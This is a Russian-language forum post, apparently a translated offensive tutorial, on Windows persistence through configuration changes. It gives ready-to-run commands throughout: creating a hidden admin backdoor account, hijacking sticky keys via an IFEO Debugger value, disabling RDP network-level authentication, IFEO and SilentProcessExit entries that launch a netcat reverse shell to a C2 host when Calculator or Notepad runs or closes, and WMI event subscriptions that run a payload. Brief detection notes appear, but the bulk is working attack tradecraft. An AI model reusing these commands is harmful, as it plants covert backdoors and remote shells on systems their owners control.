Расширенное сохранение Windows, часть 1: Оставаясь внутри целевого объекта Windows

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
151
Депозит
-8.95$
Добро пожаловать обратно, мои начинающие кибервоины!
Устойчивость — одна из основных целей любого успешного вторжения, гарантирующая злоумышленнику возможность вернуться к скомпрометированной системе даже после перезагрузки, выхода из системы или обслуживания. Хотя часто большое внимание уделяется исполняемым файлам-дропперам, службам или запланированным задачам, существует целый класс методов устойчивости, работающих исключительно через изменение конфигурации. Эти методы манипулируют собственными настройками операционной системы, ключами реестра и инфраструктурами управления. Благодаря этому они часто более скрытны, более устойчивы и их сложнее обнаружить с помощью традиционных средств безопасности, ориентированных на сканирование исполняемых файлов. В этой статье мы рассмотрим несколько стратегий устойчивости, основанных на конфигурации, в Windows, от манипуляций с пользователями и реестром до более сложных злоупотреблений параметрами выполнения файла образа (IFEO), глобальными флагами с SilentProcessExit и подписками на события WMI. Каждый метод демонстрирует компромисс между устойчивостью и обнаруживаемостью, показывая, как можно использовать легитимные административные функции для незаметного обеспечения долгосрочного доступа.

Конфигурации

В отличие от других методов персистентности, основанных на исполняемых файлах или запланированных триггерах, персистентность на основе конфигурации работает путём изменения собственных настроек системы. Это делает её одновременно незаметной и надёжной: не добавляются дополнительные исполняемые файлы, не требуется явный запуск новых файлов, а антивирусным программам, сканирующим исполняемые файлы, практически нечего обнаруживать. Однако этот подход обычно требует административного доступа к целевой машине, поскольку необходимо изменить учётные записи, разделы реестра или параметры удалённого доступа. Также предполагается, что система будет доступна в дальнейшем, например, через RDP, что не всегда возможно, если она скрыта за NAT или брандмауэром.
cmd#> net user hacker p@ssw0rd /add
cmd#> net localgroup administrators /add hacker
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f
добавил бэкдор-пользователя в Windows

Первые две команды создают нового локального пользователя и добавляют его в привилегированную группу. Затем команда реестра скрывает учётную запись «атакующего» на экране входа в Windows, хотя она остаётся доступной для интерактивного и удалённого входа. В совокупности эти шаги позволяют создать скрытого пользователя-защитного агента, который сливается с системой и может быть использован для последующего доступа.
Далее мы переходим к более агрессивной форме конфигурации бэкдора:
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"
cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP‐Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f
отключение NLA и добавление бэкдора с залипанием ключа

Записав значение Debugger для sethc.exeинструмента специальных возможностей «Залипание клавиш», злоумышленник заменяет его выполнение на cmd.exe. Пятикратное нажатие клавиши Shift на экране входа вместо открытия залипания клавиш вызовет командную оболочку с привилегиями SYSTEM. Кроме того, изменение RDP-Tcpс помощью UserAuthenticationset to 0снижает требования к аутентификации на уровне сети (NLA), позволяя устанавливать RDP-подключение без учётных данных. Эта пара изменений создаёт надёжный способ восстановления доступа непосредственно с экрана входа в Windows.
Тестирование бэкдора RDP

Плюсы: высокая стойкость и незаметность, поскольку изменяет системные настройки, а не добавляет новые двоичные файлы, а также выдерживает перезагрузки, не оставляя типичных следов вредоносного ПО.
Минусы: требует прав администратора и эффективен только в том случае, если злоумышленник впоследствии сможет напрямую подключиться к хосту. Если машина находится за NAT или ограничивающим брандмауэром, механизм сохранения может быть недоступен.

Отладчик

Вместо изменения программы на диске, Windows позволяет подключать «отладчик» при каждом запуске определённого исполняемого файла. Хакер может злоупотребить этой функцией, установив значение параметра Debugger для целевого процесса, чтобы Windows запускала вашу командную строку при каждом запуске этой программы пользователем. Исходный двоичный файл остаётся нетронутым и запускается как обычно, но команда Debugger может добавлять или удалять дополнительные действия. Поскольку эта конфигурация находится в реестре в разделе HKLM, она сохраняется при перезагрузке и не зависит от папок автозапуска или запланированных триггеров.
cmd#> copy calc.exe _calc.exe
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe ‐e c:\windows\system32\cmd.exe C2 9001" /f
использование отладчика для установления персистентности

Когда жертва запускает Калькулятор, Windows проверяет IFEO, обнаруживает установленный отладчик и запускает эту команду вместо непосредственного запуска calc.exe. cmd /CОболочка выполняет два связанных оператора: сначала _calc.exe(чтобы пользователь по-прежнему видел обычное окно Калькулятора), затем, после _calc.exeвыхода, выполняет строку Netcat. Один &оператор означает, что вторая команда выполняется после завершения первой, поэтому попытка обратной оболочки откладывается до тех пор, пока пользователь не закроет Калькулятор. Поскольку ключ находится в HKLM, для его создания или изменения требуются права администратора. После установки любой пользователь, запускающий Калькулятор, запустит цепочку.
соединение получено от отладчика персистентность

Плюсы: сохраняется после перезагрузки, при этом исходное приложение остается неизменным, и срабатывает естественным образом, когда пользователь открывает определенную программу.
Минусы: требуются права администратора для настройки ключа HKLM IFEO, и он хорошо заметен для мониторинга безопасности, поскольку значения отладчика, не относящиеся к разработчику, являются известным шаблоном злоупотреблений.
Перехват IFEO элегантен, поскольку он не требует исправления двоичных файлов и использует легитимную функцию Windows в качестве триггера. Его также легко обнаружить и устранить: специалисты по безопасности регулярно проверяют параметры выполнения файла образа на наличие непредвиденных записей отладчика, а многие продукты EDR оповещают об их создании. Если целевая программа ведёт себя странно или не запускается при определённых условиях, пользователь может это заметить.

GFLAGS

В Windows есть скрытые функции отладки и трассировки, которые можно использовать для обеспечения устойчивости. Одной из таких функций является механизм SilentProcessExit , позволяющий администраторам настраивать специальные действия при завершении процесса. Объединяя его с параметром реестра GlobalFlag в разделе «Параметры выполнения файлов образов» (IFEO), хакер может гарантировать, что при закрытии выбранного приложения будет запущен другой процесс по его выбору. В отличие от традиционных методов автозапуска или запланированных задач, этот метод скрыт глубже в инфраструктуре диагностики Windows и поэтому менее очевиден при поверхностном осмотре.
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc ‐e \windows\system32\cmd.exe C2 9001"
настройка gflags для запуска после закрытия блокнота

настройка команд, которые gflags должен выполнить после закрытия блокнота

Предоставленные команды настраивают это для Блокнота. Первая модификация реестра устанавливает значение GlobalFlag для notepad.exe, 512что является флагом, указывающим Windows отслеживать процесс на предмет «тихого завершения процесса». Следующая команда включает отправку уведомлений о завершении работы Блокнота. Последняя команда указывает команду, которая должна быть выполнена в этом случае. В этой конфигурации каждый раз, когда пользователь закрывает Блокнот, система автоматически запускает обратную оболочку Netcat.
соединение получено от gflags

Плюсы: выдерживает перезагрузки и не обнаруживается обычными инструментами аудита устойчивости, такими как Autoruns, поскольку полагается на менее известные ветви реестра, а не на разделы автозагрузки, выполнения или службы.
Минусы: для настройки значений IFEO и SilentProcessExit требуются права администратора, а специалисты по безопасности, знающие, где искать, могут обнаружить и удалить записи, проведя аудит соответствующих путей реестра.
Этот трюк с сохранением уязвимости довольно тонок, поскольку он затрагивает механизм диагностики, а не основные области автозапуска. Он не отображается в большинстве инструментов проверки автозапуска, что делает его привлекательным для злоумышленников, стремящихся к скрытности. Однако он не невидим: специалисты по безопасности, знакомые с SilentProcessExit, могут запрашивать и отслеживать эти разделы реестра на предмет неожиданных значений.

WMI

Инструментарий управления Windows (WMI) предоставляет мощную системную инфраструктуру для мониторинга и автоматизации, которую администраторы используют для телеметрии и запланированных действий. Злоумышленники могут злоупотреблять WMI, создавая постоянные подписки на события, которые находятся в репозитории WMI и активируют полезную нагрузку по таймерам или системным событиям. Поскольку эти подписки хранятся в WMI, а не в очевидных разделах реестра автозапуска или папках автозагрузки, они более скрытны и их сложнее обнаружить с помощью обычных инструментов проверки. Кроме того, они сохраняются после перезагрузки, пока не будут явно удалены из репозитория.
cmd#> wmic /NAMESPACE:"\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
cmd#> wmic /NAMESPACE:"\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\file.exe",CommandLineTemplate="C:\file.exe"
cmd#> wmic /NAMESPACE:"\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
настройка сохранения wmi в windows

Первая команда создаёт фильтр событий, который будет периодически срабатывать без необходимости использования внешнего драйвера или службы. Вторая команда создаёт получателя, описывающего, что должно выполняться при срабатывании фильтра. Третья команда привязывает фильтр к получателю, чтобы событие фактически приводило к выполнению. Вместе эти три команды создают постоянную подписку в репозитории WMI, которая вызывает выполнение указанной команды с выбранным интервалом или условием.
получение соединения от wmi persistence

Плюсы: выдерживает перезагрузки и поддерживает точно контролируемые триггеры (периодические таймеры, условия на основе событий), скрывая при этом сохранение внутри репозитория WMI, а не в широко сканируемых расположениях автозапуска.
Минусы: требуются права администратора для создания постоянных подписок, в репозитории WMI остаются артефакты, которые могут быть пронумерованы и удалены защитниками, знающими о необходимости проверки подписок на события WMI.
Подписки на события WMI — мощный и гибкий инструмент для долговременного сохранения, поскольку они интегрированы в уровень управления системой и не видны при использовании облегченных проверок автозапуска. Эта скрытность делает их ценными целями для защитного поиска: перечисление подписок, сбор данных репозитория WMI и мониторинг вновь созданных фильтров, потребителей и привязок — эффективные способы обнаружения и устранения этой техники.

Краткое содержание

Методы сохранения на основе конфигурации представляют собой тонкий, но эффективный способ для злоумышленников сохранить доступ к системам Windows. Создавая скрытые учётные записи, перехватывая инструменты специальных возможностей, снижая требования к безопасности RDP или встраивая логику в функции отладки на основе реестра, можно создавать бэкдоры, которые сливаются с поведением системы, а не выделяются как сторонние исполняемые файлы. Перехват IFEO и механизмы GFlags/SilentProcessExit показывают, как диагностическая инфраструктура может быть перепрофилирована для запуска полезных нагрузок, в то время как подписки на события WMI демонстрируют мощь функций управления системой, предоставляя долгоживущие и гибкие триггеры. Ключевые преимущества этих подходов заключаются в их скрытности, устойчивости к перезагрузкам и опоре на доверенные системные механизмы. Однако у них есть и общие ограничения: они обычно требуют административных прав и оставляют артефакты, которые могут обнаружить специалисты по безопасности, знающие, где искать. Для специалистов по безопасности критически важно знать об этих менее традиционных векторах сохранения, поскольку стандартный аудит автозапуска и запланированных задач сам по себе не позволит их обнаружить.
Во второй части мы воспользуемся AppInit, LSASS, Winlogon и Office для обеспечения устойчивости в Windows.
 
Назад
Сверху Снизу